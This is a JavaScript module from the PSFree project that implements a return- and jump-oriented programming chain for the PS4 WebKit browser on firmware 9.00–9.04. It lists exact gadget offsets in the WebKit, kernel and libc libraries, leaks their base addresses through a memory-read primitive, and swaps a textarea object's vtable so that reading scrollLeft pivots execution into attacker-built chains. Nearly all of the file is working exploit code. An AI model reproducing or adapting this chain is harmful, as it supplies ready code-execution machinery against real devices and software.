/* Copyright (C) 2023-2025 anonymous

This file is part of PSFree.

PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.

PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.  */

// 9.00, 9.03, 9.04
// ROP Chain by @janisslsm

import { mem } from "../../module/mem.mjs";
import { KB } from "../../module/offset.mjs";
import { ChainBase } from "../../module/chain.mjs";
import { BufferView } from "../../module/rw.mjs";

import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs";

import * as off from "../../module/offset.mjs";

// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_strlen = 0x198;

// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;

// gadgets for the JOP chain
//
// When the scrollLeft getter native function is called on the console, rsi is
// the JS wrapper for the WebCore textarea class.
const jop1 = `
mov rdi, qword ptr [rsi + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0xb8]
`;
// Since the method of code redirection we used is via redirecting a call to
// jump to our JOP chain, we have the return address of the caller on entry.
//
// jop1 pushed another object (via the call instruction) but we want no
// extra objects between the return address and the rbp that will be pushed by
// jop2 later. So we pop the return address pushed by jop1.
//
// This will make pivoting back easy, just "leave; ret".
const jop2 = `
pop rsi
jmp qword ptr [rax + 0x1c]
`;
const jop3 = `
mov rdi, qword ptr [rax + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x30]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop4 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x58]
`;
const jop5 = `
mov rdx, qword ptr [rax + 0x18]
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x10]
`;
const jop6 = `
push rdx
jmp qword ptr [rax]
`;
const jop7 = "pop rsp; ret";

// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
//     mov rsp, rbp
//     pop rbp

const webkit_gadget_offsets = new Map(
  Object.entries({
    "pop rax; ret": 0x0000000000051a12, // `58 c3`
    "pop rbx; ret": 0x00000000000be5d0, // `5b c3`
    "pop rcx; ret": 0x00000000000657b7, // `59 c3`
    "pop rdx; ret": 0x000000000000986c, // `5a c3`

    "pop rbp; ret": 0x00000000000000b6, // `5d c3`
    "pop rsi; ret": 0x000000000001f4d6, // `5e c3`
    "pop rdi; ret": 0x0000000000319690, // `5f c3`
    "pop rsp; ret": 0x000000000004e293, // `5c c3`

    "pop r8; ret": 0x00000000001a7ef1, // `47 58 c3`
    "pop r9; ret": 0x0000000000422571, // `47 59 c3`
    "pop r10; ret": 0x0000000000e9e1d1, // `47 5a c3`
    "pop r11; ret": 0x00000000012b1d51, // `47 5b c3`

    "pop r12; ret": 0x000000000085ec71, // `47 5c c3`
    "pop r13; ret": 0x00000000001da461, // `47 5d c3`
    "pop r14; ret": 0x0000000000685d73, // `47 5e c3`
    "pop r15; ret": 0x00000000006ab3aa, // `47 5f c3`

    "ret": 0x0000000000000032, // `c3`
    "leave; ret": 0x000000000008db5b, // `c9 c3`

    "mov rax, qword ptr [rax]; ret": 0x00000000000241cc, // `48 8b 00 c3`
    "mov qword ptr [rdi], rax; ret": 0x000000000000613b, // `48 89 07 c3`
    "mov dword ptr [rdi], eax; ret": 0x000000000000613c, // `89 07 c3`
    "mov dword ptr [rax], esi; ret": 0x00000000005c3482, // `89 30 c3`

    [jop1]: 0x00000000004e62a4, // `48 8b 7e 18 48 8b 07 ff 90 b8 00 00 00`
    [jop2]: 0x00000000021fce7e, // `5e ff 60 1c`
    [jop3]: 0x00000000019becb4, // `48 8b 78 08 48 8b 07 ff 60 30`

    [jop4]: 0x0000000000683800, // `55 48 89 e5 48 8b 07 ff 50 58`
    [jop5]: 0x0000000000303906, // `48 8b 50 18 48 8b 07 ff 50 10`
    [jop6]: 0x00000000028bd332, // `52 ff 20`
    [jop7]: 0x000000000004e293, // `5c c3`
  }),
);

const libc_gadget_offsets = new Map(
  Object.entries({
    "getcontext": 0x24f04,
    "setcontext": 0x29448,
  }),
);

const libkernel_gadget_offsets = new Map(
  Object.entries({
    // returns the location of errno
    "__error": 0xcb80,
  }),
);

export const gadgets = new Map();

function get_bases() {
  const textarea = document.createElement("textarea");
  const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
  const textarea_vtable = webcore_textarea.readp(0);
  const off_ta_vt = 0x2e73c18;
  const libwebkit_base = textarea_vtable.sub(off_ta_vt);

  const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
  const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
  const off_scf = 0x1ff60;
  const libkernel_base = stack_chk_fail_addr.sub(off_scf);

  const strlen_import = libwebkit_base.add(offset_wk_strlen);
  const strlen_addr = resolve_import(strlen_import);
  const off_strlen = 0x4fa40;
  const libc_base = strlen_addr.sub(off_strlen);

  return [libwebkit_base, libkernel_base, libc_base];
}

export function init_gadget_map(gadget_map, offset_map, base_addr) {
  for (const [insn, offset] of offset_map) {
    gadget_map.set(insn, base_addr.add(offset));
  }
}

class Chain900Base extends ChainBase {
  push_end() {
    this.push_gadget("leave; ret");
  }

  push_get_retval() {
    this.push_gadget("pop rdi; ret");
    this.push_value(this.retval_addr);
    this.push_gadget("mov qword ptr [rdi], rax; ret");
  }

  push_get_errno() {
    this.push_gadget("pop rdi; ret");
    this.push_value(this.errno_addr);

    this.push_call(this.get_gadget("__error"));

    this.push_gadget("mov rax, qword ptr [rax]; ret");
    this.push_gadget("mov dword ptr [rdi], eax; ret");
  }

  push_clear_errno() {
    this.push_call(this.get_gadget("__error"));
    this.push_gadget("pop rsi; ret");
    this.push_value(0);
    this.push_gadget("mov dword ptr [rax], esi; ret");
  }
}

export class Chain900 extends Chain900Base {
  constructor() {
    super();

    const textarea = document.createElement("textarea");
    this._textarea = textarea;
    const js_ta = mem.addrof(textarea);
    const webcore_ta = js_ta.readp(0x18);
    this._webcore_ta = webcore_ta;
    // Only offset 0x1c8 will be used when calling the scrollLeft getter
    // native function (our tests don't crash).
    //
    // This implies we don't need to know the exact size of the vtable and
    // try to copy it as much as possible to avoid a crash due to missing
    // vtable entries.
    //
    // So the rest of the vtable are free for our use.
    const vtable = new BufferView(0x200);
    const old_vtable_p = webcore_ta.readp(0);
    this._vtable = vtable;
    this._old_vtable_p = old_vtable_p;

    // 0x1b8 is the offset of the scrollLeft getter native function
    vtable.write64(0x1b8, this.get_gadget(jop1));
    vtable.write64(0xb8, this.get_gadget(jop2));
    vtable.write64(0x1c, this.get_gadget(jop3));

    // for the JOP chain
    const rax_ptrs = new BufferView(0x100);
    const rax_ptrs_p = get_view_vector(rax_ptrs);

    rax_ptrs.write64(0x30, this.get_gadget(jop4));
    rax_ptrs.write64(0x58, this.get_gadget(jop5));
    rax_ptrs.write64(0x10, this.get_gadget(jop6));
    rax_ptrs.write64(0, this.get_gadget(jop7));
    // value to pivot rsp to
    rax_ptrs.write64(0x18, this.stack_addr);

    const jop_buffer = new BufferView(8);
    const jop_buffer_p = get_view_vector(jop_buffer);

    jop_buffer.write64(0, rax_ptrs_p);

    vtable.write64(8, jop_buffer_p);
  }

  run() {
    this.check_allow_run();
    this._webcore_ta.write64(0, get_view_vector(this._vtable));
    this._textarea.scrollLeft;
    this._webcore_ta.write64(0, this._old_vtable_p);
    this.dirty();
  }
}

export const Chain = Chain900;

export function init(Chain) {
  const syscall_array = [];
  [libwebkit_base, libkernel_base, libc_base] = get_bases();

  init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
  init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
  init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
  init_syscall_array(syscall_array, libkernel_base, 300 * KB);

  Chain.init_class(gadgets, syscall_array);
}
